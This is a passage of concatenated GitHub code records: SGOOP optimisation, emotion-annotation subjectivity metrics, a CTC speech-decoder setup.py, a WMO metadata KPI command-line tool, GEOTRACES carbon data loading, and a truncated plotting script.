required by the MaxCal framework. Please \"\n            \"provide either a MaxCal trajectory or static diffusion constant.\"\n        )\n        return\n\n    return opt.basinhopping(\n        __opt_func,\n        rc_0,\n        niter=niter,\n        T=annealing_temp,\n        stepsize=step_size,\n        minimizer_kwargs=minimizer_kwargs,\n        disp=True,\n        callback=__print_fun,\n    )\n\n\ndef __opt_func(rc, metad_traj, sgoop_dict, weights, max_cal_traj):\n    # normalize rc\n    rc = rc / np.sqrt(np.sum(np.square(rc)))\n    # calculate spectral gap for normalized rc\n    sg = rc_eval(rc, metad_traj, sgoop_dict, weights, max_cal_traj)\n    # return negative gap for minimization\n    return -sg\n\n\ndef __print_fun(x, f, accepted):\n    if accepted:\n        rc = x / np.sqrt(np.sum(np.square(x)))\n        print(f\"RC with spectral gap {-f:} accepted.\")\n        print(\", \".join([str(coeff) for coeff in rc]), \"\\n\")\n    else:\n        print(\"\")\n","repo_name":"anotherjoshsmith/sgoop","sub_path":"sgoop/sgoop.py","file_name":"sgoop.py","file_ext":"py","file_size_in_byte":7265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"32112317050","text":"import pandas as pd\r\nimport numpy as np\r\nimport torch\r\nimport utils\r\nimport config\r\n\r\nimport uncertainty_utilities\r\nimport pickle\r\n\r\ndef get_annotations_per_sample(params):\r\n    annotations_per_vid = {}\r\n\r\n    for annotator in range(1,18):\r\n        try:\r\n            data = utils.load_data(params, params.feature_set, params.emo_dim_set, params.normalize, params.label_preproc, params.norm_opts, params.segment_type, params.win_len, params.hop_len, save=params.cache, refresh=params.refresh, add_seg_id=params.add_seg_id, annotator=annotator)\r\n        except Exception as e:\r\n            print(f\"Exception for annotator {annotator}: {e}\")\r\n            continue\r\n\r\n        for partition in [\"train\", \"devel\", \"test\"]:\r\n            metas = data[partition][\"meta\"]\r\n            labels_ = data[partition][\"label\"]\r\n\r\n            for emo_dim in range(labels_[0].shape[1]):\r\n                labels = [l[:,emo_dim] for l in labels_]\r\n\r\n                # NOTE iterate over samples and store them by their id\r\n                for i, meta in enumerate(metas):\r\n\r\n                    # NOTE meta list of shape (seq_len, 3); with 2nd dim: [vid_id,timestamp,segment_id]\r\n                    vid_id = int(meta[0][0])\r\n\r\n                    label_series = labels[i]\r\n                    \r\n                    # NOTE only at the validation set for MuSe 2020 labels: for any reason, the raw annotations are always exactly by 3 timesteps longer than the fusioned annotations; therefore we have to cut it down, so that later the shapes of variances and subjectivites match\r\n                    if partition == \"devel\" and not config.USE_2021_LABELS:\r\n                        label_series = label_series[:-3]\r\n\r\n                    # NOTE for training, samples get split up, so if we would not specify id, we would get multiple sub-series per sample and per annotator\r\n                    if partition == \"train\":\r\n                        first_timestamp = int(meta[0][1])\r\n                        vid_id = f\"{vid_id}_{first_timestamp}\"\r\n                    else:\r\n                        vid_id = str(vid_id)\r\n                    \r\n                    if vid_id not in annotations_per_vid.keys():\r\n                        annotations_per_vid[vid_id] = {}\r\n                    if emo_dim not in annotations_per_vid[vid_id].keys():\r\n                        annotations_per_vid[vid_id][emo_dim] = []\r\n                    \r\n                    annotations_per_vid[vid_id][emo_dim] += [label_series]\r\n    \r\n    return annotations_per_vid\r\n\r\ndef calculate_rolling_subjectivities(annotations_per_vid):\r\n    subjectivities = {}\r\n    for vid_id, emo_dims in annotations_per_vid.items():\r\n\r\n        subjectivity_of_sample_all_emo_dims = []\r\n        for emo_dim, annotations in emo_dims.items():\r\n\r\n            subjectivity_of_sample = []\r\n            for k, annotation_1 in enumerate(annotations):\r\n                for j, annotation_2 in enumerate(annotations[k:]):\r\n                    if k == j:\r\n                        continue\r\n                    \r\n                    # NOTE calculate rolling measuremt of subjectivity between each available annotation\r\n                    rolling_window = 3\r\n                    subjectivity = [\r\n                        pd.Series(annotation_1[i - rolling_window : i]).corr(pd.Series(annotation_2[i - rolling_window : i]))\r\n                            for i in range(rolling_window, len(annotation_1) + 1)\r\n                        ]\r\n                    subjectivity = [subjectivity[0]] * (rolling_window - 1) + subjectivity\r\n                    \r\n                    # NOTE [0,0,0].corr([0,0,0]) = nan; therefore interpolate to fill nan\r\n                    if np.isnan(subjectivity[0]):\r\n                        subjectivity[0] = 0.\r\n                    subjectivity = pd.Series(subjectivity).interpolate()\r\n\r\n                    # NOTE maybe use rolling mean over subjectivity, that measurement becomes smoother\r\n                    # rolling_mean_window = 3\r\n                    # subjectivity = subjectivity.rolling(rolling_mean_window).mean()\r\n                    # subjectivity[:rolling_mean_window-1] = subjectivity[rolling_mean_window-1]\r\n\r\n                    subjectivity_of_sample += [subjectivity]\r\n                            \r\n            assert len(subjectivity_of_sample) >= 1, f\"too less annotations for sample {vid_id}\"\r\n            \r\n            # NOTE calculate element-wise mean to get average subjectivity at each timestep\r\n            subjectivity_of_sample = np.stack(subjectivity_of_sample).mean(axis=0)\r\n            # NOTE convert to tensor and store to return\r\n            subjectivity_of_sample = torch.Tensor(subjectivity_of_sample).float()\r\n            \r\n            # subjectivities[vid_id] = subjectivity_of_sample\r\n            subjectivity_of_sample_all_emo_dims += [subjectivity_of_sample]\r\n    \r\n        # NOTE concatenate all dims of emotion (i.e. valence and arousal)\r\n        subjectivity_of_sample_all_emo_dims = torch.Tensor(np.column_stack(subjectivity_of_sample_all_emo_dims))\r\n        subjectivities[vid_id] = subjectivity_of_sample_all_emo_dims\r\n    \r\n    return subjectivities\r\n\r\ndef calculate_global_subjectivities(annotations_per_vid, window: int):\r\n    subjectivities = {}\r\n    max_len_global_subjectivities = None\r\n    \r\n    for vid_id, emo_dims in annotations_per_vid.items():\r\n\r\n        subjectivity_of_sample_all_emo_dims = []\r\n        for emo_dim, annotations in emo_dims.items():\r\n\r\n            subjectivity_of_sample = []\r\n            for k, annotation_1 in enumerate(annotations):\r\n                for annotation_2 in annotations[k+1:]:\r\n                    \r\n                    if window is None:\r\n                        subjectivity = uncertainty_utilities.ccc_score(annotation_1, annotation_2)\r\n                    \r\n                    else:\r\n                        subjectivity = []\r\n                        for i in range(0, len(annotation_1) + 1 - window, window):\r\n                            if len(annotation_1[i : i + window]) < window:\r\n                                continue\r\n                            subjectivity += [uncertainty_utilities.ccc_score(annotation_1[i : i + window], annotation_2[i : i + window])]\r\n                        \r\n                        if np.isnan(subjectivity[0]):\r\n                            subjectivity[0] = 0.\r\n                        subjectivity = pd.Series(subjectivity).interpolate().to_list()\r\n                    \r\n                    subjectivity_of_sample += [subjectivity]\r\n\r\n            if window is None:\r\n                subjectivity_of_sample = np.mean(subjectivity_of_sample)\r\n            else:\r\n                subjectivity_of_sample = np.mean(subjectivity_of_sample, axis=0).tolist()\r\n\r\n                if max_len_global_subjectivities is None or len(subjectivity_of_sample) > max_len_global_subjectivities:\r\n                    max_len_global_subjectivities = len(subjectivity_of_sample)\r\n\r\n            subjectivity_of_sample_all_emo_dims += [subjectivity_of_sample]\r\n\r\n        if window is None:\r\n            subjectivity_of_sample_all_emo_dims = torch.Tensor(subjectivity_of_sample_all_emo_dims)\r\n\r\n        subjectivities[vid_id] = subjectivity_of_sample_all_emo_dims\r\n    \r\n    if not window is None:\r\n        subjectivities_ = {}\r\n        for vid_id, subjectivity_of_sample_all_emo_dims in subjectivities.items():\r\n            subjectivity_of_sample_all_emo_dims_ = []\r\n            for subjectivity_of_sample in subjectivity_of_sample_all_emo_dims:\r\n                nans = [float(\"nan\")] * (max_len_global_subjectivities - len(subjectivity_of_sample))\r\n                subjectivity_of_sample_ = subjectivity_of_sample + nans\r\n                subjectivity_of_sample_all_emo_dims_ += [subjectivity_of_sample_]\r\n            subjectivities_[vid_id] = torch.Tensor(subjectivity_of_sample_all_emo_dims_)\r\n        subjectivities = subjectivities_\r\n    \r\n    return subjectivities\r\n\r\ndef load_from_file(filename: str):\r\n    with open(filename, \"rb\") as file:\r\n        data = pickle.load(file)\r\n        \r\n    return data[0], data[1]\r\n\r\ndef save_to_file(short_term_subjectivities, global_subjectivities, filename: str):\r\n    data = [short_term_subjectivities, global_subjectivities]\r\n    with open(filename, \"wb\") as file:\r\n        pickle.dump(data, file, protocol=pickle.HIGHEST_PROTOCOL)\r\n\r\ndef build_from_scratch(params, filename: str):\r\n    print(\"Calculating subjectivities among annotators from sratch...\")\r\n    annotations_per_vid = get_annotations_per_sample(params)\r\n    short_term = calculate_rolling_subjectivities(annotations_per_vid)\r\n    globals = calculate_global_subjectivities(annotations_per_vid, params.global_uncertainty_window)\r\n    print(\"Subjectivities calculated.\")\r\n    \r\n    if params.save_subjectivity_to_file:\r\n        save_to_file(short_term, globals, filename)\r\n        print(\"Subjectivities saved to file.\")\r\n\r\n    return short_term, globals\r\n\r\ndef calculate_subjectivities(params):\r\n    filename = config.DATA_FOLDER + \"/subjectivities_among_annotations.pickle\"\r\n    \r\n    if params.load_subjectivity_from_file:\r\n        try:\r\n            short_term, globals = load_from_file(filename)\r\n            print(\"Subjectivities deserialized from file.\")\r\n        except:\r\n            short_term, globals = build_from_scratch(params, filename)\r\n    \r\n    else:\r\n        short_term, globals = build_from_scratch(params, filename)\r\n        \r\n    return short_term, globals\r\n","repo_name":"nicolaskolbenschlag/nlp_emotion_uncertainty_bachelorthesis","sub_path":"MuSe-LSTM-Attention-baseline-model/emotion_recognition/subjectivity_utilities.py","file_name":"subjectivity_utilities.py","file_ext":"py","file_size_in_byte":9430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"31249757793","text":"#!/usr/bin/env python\r\nimport glob\r\nimport multiprocessing.pool\r\nimport os\r\nimport tarfile\r\nimport urllib.request\r\nimport warnings\r\nimport stat\r\nimport torch\r\n\r\nfrom setuptools import setup, find_packages, distutils\r\nfrom setuptools.command.install import install\r\nfrom distutils import log\r\nfrom torch.utils.cpp_extension import BuildExtension\r\nfrom torch.utils.cpp_extension import CppExtension, include_paths\r\n\r\n\r\ndef download_extract(url, dl_path):\r\n    if not os.path.isfile(dl_path):\r\n        # Already downloaded\r\n        urllib.request.urlretrieve(url, dl_path)\r\n    if dl_path.endswith(\".tar.gz\") and os.path.isdir(dl_path[:-len(\".tar.gz\")]):\r\n        # Already extracted\r\n        return\r\n    tar = tarfile.open(dl_path)\r\n    tar.extractall('third_party/')\r\n    tar.close()\r\n\r\nFILES_TO_MARK_EXECUTABLE = [\"flac-linux-x86\", \"flac-linux-x86_64\", \"flac-mac\", \"flac-win32.exe\"]\r\n\r\n# Does gcc compile with this header and library?\r\ndef compile_test(header, library):\r\n    dummy_path = os.path.join(os.path.dirname(__file__), \"dummy\")\r\n    command = \"bash -c \\\"g++ -include \" + header + \" -l\" + library + \" -x c++ - <<<'int main() {}' -o \" + dummy_path \\\r\n              + \" >/dev/null 2>/dev/null && rm \" + dummy_path + \" 2>/dev/null\\\"\"\r\n    return os.system(command) == 0\r\n\r\n\r\ncompile_args = ['-O3', '-DKENLM_MAX_ORDER=6', '-std=c++14', '-fPIC']\r\next_libs = []\r\nif compile_test('zlib.h', 'z'):\r\n    compile_args.append('-DHAVE_ZLIB')\r\n    ext_libs.append('z')\r\n\r\nif compile_test('bzlib.h', 'bz2'):\r\n    compile_args.append('-DHAVE_BZLIB')\r\n    ext_libs.append('bz2')\r\n\r\nif compile_test('lzma.h', 'lzma'):\r\n    compile_args.append('-DHAVE_XZLIB')\r\n    ext_libs.append('lzma')\r\n\r\nthird_party_libs = [\"kenlm\", \"openfst-1.6.7/src/include\", \"ThreadPool\", \"boost_1_67_0\", \"utf8\"]\r\ncompile_args.extend(['-DINCLUDE_KENLM', '-DKENLM_MAX_ORDER=6'])\r\nlib_sources = glob.glob('third_party/kenlm/util/*.cc') + glob.glob('third_party/kenlm/lm/*.cc') + glob.glob(\r\n    'third_party/kenlm/util/double-conversion/*.cc') + glob.glob('third_party/openfst-1.6.7/src/lib/*.cc')\r\nlib_sources = [fn for fn in lib_sources if not (fn.endswith('main.cc') or fn.endswith('test.cc'))]\r\n\r\nthird_party_includes = [\"D:\\\\SpeechRecognition\\\\AutomaticSpeechRecognitionSystem\\\\neuralnet\", \"D:\\\\SpeechRecognition\\\\AutomaticSpeechRecognitionSystem\\\\ctcdecode\"]\r\nctc_sources = glob.glob('ctcdecode/src/*.cpp')\r\n\r\nextension = CppExtension(\r\n    name='ctcdecode._ext.ctc_decode',\r\n    package=True,\r\n    with_cuda=False,\r\n    sources=ctc_sources + lib_sources,\r\n    include_dirs=third_party_includes + include_paths(),\r\n    libraries=ext_libs,\r\n    extra_compile_args=compile_args,\r\n    language='c++'\r\n)\r\n\r\n\r\n# monkey-patch for parallel compilation\r\n# See: https://stackoverflow.com/a/13176803\r\ndef parallelCCompile(self,\r\n                     sources,\r\n                     output_dir=None,\r\n                     macros=None,\r\n                     include_dirs=None,\r\n                     debug=0,\r\n                     extra_preargs=None,\r\n                     extra_postargs=None,\r\n                     depends=None):\r\n    # those lines are copied from distutils.ccompiler.CCompiler directly\r\n    macros, objects, extra_postargs, pp_opts, build = self._setup_compile(\r\n        output_dir, macros, include_dirs, sources, depends, extra_postargs)\r\n    cc_args = self._get_cc_args(pp_opts, debug, extra_preargs)\r\n\r\n    # parallel code\r\n    def _single_compile(obj):\r\n        try:\r\n            src, ext = build[obj]\r\n        except KeyError:\r\n            return\r\n        self._compile(obj, src, ext, cc_args, extra_postargs, pp_opts)\r\n\r\n    # convert to list, imap is evaluated on-demand\r\n    thread_pool = multiprocessing.pool.ThreadPool(os.cpu_count())\r\n    list(thread_pool.imap(_single_compile, objects))\r\n    return objects\r\n\r\n\r\n# hack compile to support parallel compiling\r\ndistutils.ccompiler.CCompiler.compile = parallelCCompile\r\n\r\nclass BuildExtension(install):\r\n    def run(self):\r\n        install.run(self)  # do the original install steps\r\n\r\n        # mark the FLAC executables as executable by all users (this fixes occasional issues when file permissions get messed up)\r\n        for output_path in self.get_outputs():\r\n            if os.path.basename(output_path) in FILES_TO_MARK_EXECUTABLE:\r\n                log.info(\"setting executable permissions on {}\".format(output_path))\r\n                stat_info = os.stat(output_path)\r\n                os.chmod(\r\n                    output_path,\r\n                    stat_info.st_mode |\r\n                    stat.S_IRUSR | stat.S_IXUSR |  # owner can read/execute\r\n                    stat.S_IRGRP | stat.S_IXGRP |  # group can read/execute\r\n                    stat.S_IROTH | stat.S_IXOTH  # everyone else can read/execute\r\n                )\r\n\r\nsetup(\r\n    name=\"CTC_SpeechRecognition\",\r\n    version=\"1.0.0\",\r\n    description=\"Automatic Speech Recognition System with PyTorch and CTC Decoder based on Paddle Paddle's implementation\",\r\n    url=\"https://github.com/DvelopedByIkshaan/CTC-SpeechRecognition\",\r\n    author=\"Ikshaan Gupta\",\r\n    author_email=\"ikshaan@gmail.com\",\r\n    # Exclude the build files.\r\n    packages=[\"CTC_SpeechRecognition\"],\r\n    include_package_data=True,\r\n    include_dirs=third_party_includes,\r\n    cmdclass={\"install\": BuildExtension}\r\n)","repo_name":"DvelopedByIkshaan/CTC-SpeechRecognition","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":5285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"7131131644","text":"from io import BytesIO\nimport json\nimport logging\n\nimport click\n\nfrom pywcmp.wcmp2.kpi import (\n    WMOCoreMetadataProfileKeyPerformanceIndicators as wcmp_kpis2\n)\nfrom pywcmp.util import (get_cli_common_options, parse_wcmp, setup_logger,\n                         urlopen_)\n\nLOGGER = logging.getLogger(__name__)\n\n\n@click.group()\ndef kpi():\n    \"\"\"key performance indicators\"\"\"\n    pass\n\n\n@click.command()\n@click.pass_context\n@get_cli_common_options\n@click.argument('file_or_url')\n@click.option('--summary', '-s', is_flag=True, default=False,\n              help='Provide summary of KPI test results')\n@click.option('--kpi', '-k', help='KPI to run, default is all')\ndef validate(ctx, file_or_url, summary, kpi, logfile, verbosity):\n    \"\"\"run key performance indicators\"\"\"\n\n    setup_logger(verbosity, logfile)\n\n    if file_or_url.startswith('http'):\n        content = BytesIO(urlopen_(file_or_url).read())\n    else:\n        content = file_or_url\n\n    click.echo(f'Validating {file_or_url}')\n\n    try:\n        data = parse_wcmp(content)\n    except Exception as err:\n        raise click.ClickException(err)\n\n    cls = wcmp_kpis2\n\n    kpis = cls(data)\n\n    try:\n        kpis_results = kpis.evaluate(kpi)\n    except ValueError as err:\n        raise click.UsageError(f'Invalid KPI {kpi}: {err}')\n\n    if not summary or kpi is not None:\n        click.echo(json.dumps(kpis_results, indent=4))\n    else:\n        click.echo(json.dumps(kpis_results['summary'], indent=4))\n\n\nkpi.add_command(validate)\n","repo_name":"wmo-im/pywcmp","sub_path":"pywcmp/kpi.py","file_name":"kpi.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"38"}
{"seq_id":"12914580609","text":"import pandas as pd\nimport numpy as np\nimport os\nfrom itertools import product\nfrom scipy.interpolate import interp1d\nfrom datetime import datetime\n\nimport netCDF4 as nc\nfrom geopy.distance import distance\n\nfrom src.constants import MMC\nfrom src.framework import define_equation_elements, define_state_elements\n\ndef load_poc_data():\n    \n    metadata = pd.read_csv('../../../data/geotraces/poc_conc.csv',\n                           usecols=('GTNum', 'GTStn', 'CastType',\n                                    'CorrectedMeanDepthm',\n                                    'Latitudedegrees_north', \n                                    'Longitudedegrees_east',\n                                    'DateatMidcastGMTyyyymmdd'))\n\n    # SPM_SPT_pM has NaN for intercal samples, useful for dropping later\n    cols = ('SPM_SPT_ugL', 'POC_SPT_uM', 'POC_LPT_uM')\n    \n    values = pd.read_csv('../../../data/geotraces/poc_conc.csv', usecols=cols)\n    errors = pd.read_csv('../../../data/geotraces/poc_sd.csv', usecols=cols)\n    flags = pd.read_csv('../../../data/geotraces/poc_flag.csv', usecols=cols)\n\n    data = merge_poc_data(metadata, values, errors, flags)\n    data.dropna(inplace=True)\n    data = data.loc[:, ~data.columns.str.startswith('SPM_SPT_ugL')]\n\n    data = data[~data['station'].isin((1, 3, 18.3))]  # exclude stations 1, 18.3\n    data = data[data['depth'] < 1000]  # don't need data below 1km\n\n    return data\n\n\ndef merge_poc_data(metadata, values, errors, flags):\n\n    rename_cols = {'GTStn': 'station', 'CastType': 'cast',\n                   'CorrectedMeanDepthm': 'depth',\n                   'POC_SPT_uM': 'POCS', 'POC_LPT_uM': 'POCL',\n                   'Latitudedegrees_north': 'latitude',\n                   'Longitudedegrees_east': 'longitude',\n                   'DateatMidcastGMTyyyymmdd': 'datetime'}\n    \n    \n    for df in (metadata, values, errors, flags):\n        df.rename(columns=rename_cols, inplace=True)\n\n    data = pd.merge(metadata, values, left_index=True, right_index=True)\n    data = pd.merge(data, errors, left_index=True, right_index=True,\n                    suffixes=(None, '_unc'))\n    data = pd.merge(data, flags, left_index=True, right_index=True,\n                    suffixes=(None, '_flag'))\n    \n    return data\n\n\ndef poc_by_station():\n    \n    df = load_poc_data()\n    data = {}\n    maxdepth = 600\n\n    for s in df['station'].unique():\n        raw = df[df['station'] == s].copy()\n        raw.sort_values('depth', inplace=True, ignore_index=True)\n        cleaned = clean_by_flags(raw)\n        data[int(s)] = cleaned.loc[cleaned['depth'] < maxdepth]\n\n    return data\n\n\ndef clean_by_flags(raw):\n    \n    cleaned = raw.copy()\n    flags_to_clean = (3, 4)\n\n    tracers = ('POCS', 'POCL')\n    for ((i, row), t) in product(cleaned.iterrows(), tracers):\n        if row[f'{t}_flag'] in flags_to_clean:\n            poc = cleaned.at[i - 1, t], cleaned.at[i + 1, t]\n            depth = cleaned.at[i - 1, 'depth'], cleaned.at[i + 1, 'depth']\n            interp = interp1d(depth, poc)\n            cleaned.at[i, t] = interp(row['depth'])\n            cleaned.at[i, f'{t}_unc'] = cleaned.at[i, t]\n\n    return cleaned\n\n\ndef load_nc_data(dir):\n    \n    datainfo = {'modis': {'ext': '.nc', 'dateidx': 3},\n                'cbpm': {'ext': '.hdf', 'dateidx': 1}}\n    \n    path = f'../../../data/geotraces/{dir}'\n    filenames = [f for f in os.listdir(path) if datainfo[dir]['ext'] in f]\n    data = {}\n\n    for f in filenames:\n        date = f.split('.')[datainfo[dir]['dateidx']]\n        if dir == 'cbpm':\n            date = datetime.strptime(date, '%Y%j').strftime('%Y%m%d')\n        data[date] = nc.Dataset(os.path.join(path, f))\n    \n    return data\n\n\ndef extract_nc_data(poc_data, dir):\n    \n    var_by_station = {}\n\n    nc_data = load_nc_data(dir)\n    nc_dates = [datetime.strptime(d,'%Y%m%d') for d in nc_data]\n    \n    if dir == 'cbpm':\n        nc_lats = [90 - x*(1/12) - 1/24 for x in range(2160)]\n        nc_lons = [x*(1/12) - 180 + 1/24 for x in range(4320)]\n\n    for s in poc_data:\n\n        df = poc_data[s].copy()\n        row = df[df['cast'] == 'S'].iloc[0]\n\n        date = datetime.strptime(row['datetime'], '%m/%d/%y %H:%M')\n        station_coord = np.array((row['latitude'], row['longitude']))\n        prev_nc_dates = [d for d in nc_dates if d <= date]\n        nc_date = min(prev_nc_dates, key=lambda x: abs(x - date))\n        nc_8day = nc_data[nc_date.strftime('%Y%m%d')]\n        \n        if dir == 'cbpm':\n            var_name = 'npp'\n            var_8day = nc_8day.variables[var_name]\n        if dir == 'modis':\n            var_name = 'Kd'\n            var_8day = nc_8day.variables['MODISA_L3m_KD_8d_4km_2018_Kd_490'][0]\n            nc_lats = list(nc_8day.variables['lat'][:])\n            nc_lons = list(nc_8day.variables['lon'][:])\n\n        close_nc_lats = [\n            l for l in nc_lats if abs(station_coord[0] - l) < 1]\n        close_nc_lons = [\n            l for l in nc_lons if abs(station_coord[1] - l) < 1]\n        nc_coords = list(product(close_nc_lats, close_nc_lons))\n        distances = [distance(ncc, station_coord) for ncc in nc_coords]\n        nc_coords_sorted = [\n            x for _, x in sorted(zip(distances, nc_coords))]\n        \n        j = 0\n        while True:\n            nc_lat_index = nc_lats.index(nc_coords_sorted[j][0])\n            nc_lon_index = nc_lons.index(nc_coords_sorted[j][1])\n            station_var = var_8day[nc_lat_index, nc_lon_index]\n            if station_var > -9999:\n                break\n            j += 1\n\n        var_by_station[row['station']] = station_var\n    \n    return var_by_station\n\n\ndef load_mixed_layer_depths():\n\n    mld_df = pd.read_csv('../../../data/geotraces/mld.csv')\n    mld_dict = dict(zip(mld_df['station'], mld_df['depth']))\n\n    return mld_dict\n\ndef load_Th_fluxes():\n\n    df = pd.read_csv('../../../data/geotraces/sinkingflux_Th.csv',\n                     usecols=('station', 'depth', 'flux'))\n\n    return df\n\n\ndef get_median_POCS():\n    \n    poc = poc_by_station()\n    data = pd.DataFrame(columns=['depth', 'POCS'])\n    for  df in poc.values():\n        data = pd.concat([data, df], join='inner', ignore_index=True)\n\n    median = np.median(data['POCS'])\n    \n    return median\n\n\ndef get_station_Th_fluxes(grid, max_depth, station, flux_df):\n\n    flux_layers = []\n    flux_depths = []\n    flux_vals = []\n    s_df = flux_df.loc[(flux_df['station'] == station) & (flux_df['depth'] < max_depth)]\n    for i, depth in enumerate(grid):\n        nearby = s_df.iloc[(s_df['depth'] - depth).abs().argsort()[:1]].iloc[0]\n        if nearby['flux'] > 0:\n            flux_layers.append(i)\n            flux_depths.append(nearby['depth'])\n            flux_vals.append(nearby['flux'])\n    fluxes = pd.DataFrame(list(zip(flux_layers, flux_depths, flux_vals)), columns=['layer', 'depth', 'flux'])\n    \n    return fluxes  \n\ndef get_station_data(poc_data, params, ez_depths, flux_constraint=False):\n    \n    d = {s: {} for s in poc_data}\n    mixed_layer_depths = load_mixed_layer_depths()\n    if flux_constraint:\n        max_depth = 620\n        flux_df = load_Th_fluxes()\n    \n    for s in poc_data.keys():\n        grid = tuple(poc_data[s]['depth'].values)\n        layers = tuple(range(len(grid)))\n        zg = min(grid, key=lambda x:abs(x - ez_depths[s]))  # grazing depth\n        tracers = define_tracers(poc_data[s])\n        d[s]['mld'] = mixed_layer_depths[s]\n        d[s]['grid'] = grid\n        d[s]['latitude'] = poc_data[s].iloc[0]['latitude']\n        d[s]['longitude'] = poc_data[s].iloc[0]['longitude']\n        d[s]['layers'] = layers\n        d[s]['zg'] = zg\n        d[s]['ezd'] = ez_depths[s]\n        d[s]['umz_start'] = grid.index(zg) + 1\n        d[s]['tracers'] = tracers\n        if flux_constraint:\n            d[s]['Th_fluxes'] = get_station_Th_fluxes(grid, max_depth, s, flux_df)\n        else:\n            d[s]['Th_fluxes'] = None\n        d[s]['e_elements'] = define_equation_elements(tracers, layers, Th_fluxes=d[s]['Th_fluxes'])\n        d[s]['s_elements'] = define_state_elements(tracers, params, layers, Th_fluxes=d[s]['Th_fluxes'])\n        \n    return d\n\n\ndef define_tracers(data):\n    \n    tracers = {'POCS': {}, 'POCL': {}}\n    \n    for t in tracers:\n        tracers[t]['prior'] = data[t]\n        tracers[t]['prior_e'] = data[f'{t}_unc']\n\n    return tracers\n\n\ndef define_residuals(prior_error, gamma):\n    \n    residuals = {'POCS': {}, 'POCL': {}}\n    \n    for tracer in residuals:\n        residuals[tracer]['prior'] = 0\n        residuals[tracer]['prior_e'] = gamma * prior_error\n    \n    return residuals\n\n\ndef set_param_priors(params, Lp_prior, Po_prior, B3_prior, mc_params):\n\n    def set_prior(param_name, prior, error):\n        \n        params[param_name]['prior'] = prior\n        params[param_name]['prior_e'] = error\n    \n    set_prior('B2p', mc_params['B2p'], mc_params['B2p'])\n    set_prior('Bm2', mc_params['Bm2'], mc_params['Bm2'])\n    set_prior('Bm1s', mc_params['Bm1s'], mc_params['Bm1s'])\n    set_prior('Bm1l', mc_params['Bm1l'], mc_params['Bm1l'])\n    set_prior('ws', mc_params['ws'], mc_params['ws'])\n    set_prior('wl', mc_params['wl'], mc_params['wl'])\n    set_prior('Po', Po_prior, Po_prior*0.5)\n    set_prior('Lp', Lp_prior, Lp_prior*0.5)\n    set_prior('B3', B3_prior, B3_prior*0.5)\n    set_prior('a', 0.3, 0.3*0.5)\n    set_prior('zm', 500, 500*0.5)\n\n\ndef define_param_uniformity():\n\n    param_uniformity = {}\n\n    nonuniform_params = ('B2p', 'Bm2', 'Bm1s', 'Bm1l', 'ws', 'wl')\n    uniform_params = ('Po', 'Lp', 'B3', 'a', 'zm')\n    \n    for p in nonuniform_params:\n        param_uniformity[p] = {'dv': True}\n    \n    for p in uniform_params:\n        param_uniformity[p] = {'dv': False}\n\n    return param_uniformity\n\n\ndef get_Lp_priors(poc_data):\n\n    Kd = extract_nc_data(poc_data, 'modis')\n    Lp_priors = {station: 1/k for station, k in Kd.items()}\n    \n    return Lp_priors\n\n\ndef get_ez_depths(Lp_priors):\n\n    depths = {station: l*np.log(100) for station, l in Lp_priors.items()}\n    \n    return depths\n\n\ndef get_Po_priors(poc_data, Lp_priors, npp_data):\n    \"\"\"Calculate Po priors at each station.\n\n    Args:\n        poc_data (_type_): _description_\n        Lp_priors (_type_): _description_\n        npp_data (_type_): _description_\n\n    Returns:\n        _type_: _description_\n    \n    Full equation for Po is Po = npp / [Lp * (1 - exp[-ez_depth / Lp])],\n    but ez_depth = Lp * ln(100), so (1-exp[]) simplifies to 0.99.\n    \"\"\"\n    Po_priors = {s: ((npp_data[s] / MMC)\n                     / (Lp_priors[s] * 0.99)) for s in poc_data}\n    \n    return Po_priors\n\n\ndef get_B3_priors(npp_data):\n    \n    B3_priors = {}\n    \n    for s in npp_data:\n        B3_priors[s] = 10**(-2.42 + 0.53*np.log10(npp_data[s]))\n\n    return B3_priors\n","repo_name":"amaralvin7/pyrite","sub_path":"src/geotraces/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":10654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"4848655956","text":"from __future__ import division, print_function\n\nimport os\n\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\n\nfrom gabor_experiment.misc import FIGS_DIRS\nfrom gabor_experiment.misc import REPS_DIRS\nfrom gabor_experiment.misc import RESULTS_DIR\nfrom gabor_experiment.misc import STIMULI_DIRS\nfrom gabor_experiment.misc import STIMULI_POSTFIXES\nfrom gabor_experiment.misc import TITLES\nimport matplotlib.pyplot as plt\nfrom utils.misc import LAYER_NAMES\n\n\ndef create_and_save_figures(just_original=True):\n    \"\"\"Create and save figures.\"\"\"\n    sns.set()\n    sns.set(style=\"whitegrid\")\n    sns.set(font_scale=1.6, style=\"ticks\")\n\n    for stimuli_dir, reps_dir, figs_dir, stimuli_postfix, title \\\n            in zip(STIMULI_DIRS, REPS_DIRS, FIGS_DIRS,\n                   STIMULI_POSTFIXES, TITLES):\n        # Filename to load/save results database from/to:\n        results_filename = RESULTS_DIR + 'pca' + stimuli_postfix + '.csv'\n        correlations_results_filename = RESULTS_DIR + \\\n            'correlations_pca' + stimuli_postfix + '.csv'\n\n        try:\n            df = pd.read_csv(correlations_results_filename)\n        except FileNotFoundError:\n            print('Please run pca_permutations.py to have all files required'\n                  'to create the figures.')\n            continue\n\n        # df.to_csv(correlations_results_filename)\n\n        sns.set_palette(sns.color_palette('muted'))\n        colors = [\"bright sky blue\", \"purple\"]\n        sns.set_palette(sns.xkcd_palette(colors))\n\n        fig, ax = plt.subplots()\n        fig.subplots_adjust(bottom=0.15)\n\n        ax = df.plot.line(x='Layer', y=['Frequency',\n                                        'Orientation'],\n                          ax=ax, lw=3,  alpha=0.75,\n                          legend=False)\n        # ax.set_ylim(0.45,1)\n        # plt.legend(loc=3)\n        # y_min = 0.39\n        # y_max = 1.005\n        # plt.axis([-1, 26, y_min, y_max])\n        #\n        # sns.despine(offset=10, trim=True)\n        # ax.set_xlabel('Network Layer', size=20)\n        # ax.set_ylabel('Correlation Coefficient', size=20)\n        mean_permuted_frequency = []\n        mean_permuted_orientation = []\n        for l, layer_name in enumerate(LAYER_NAMES):\n            try:\n                del 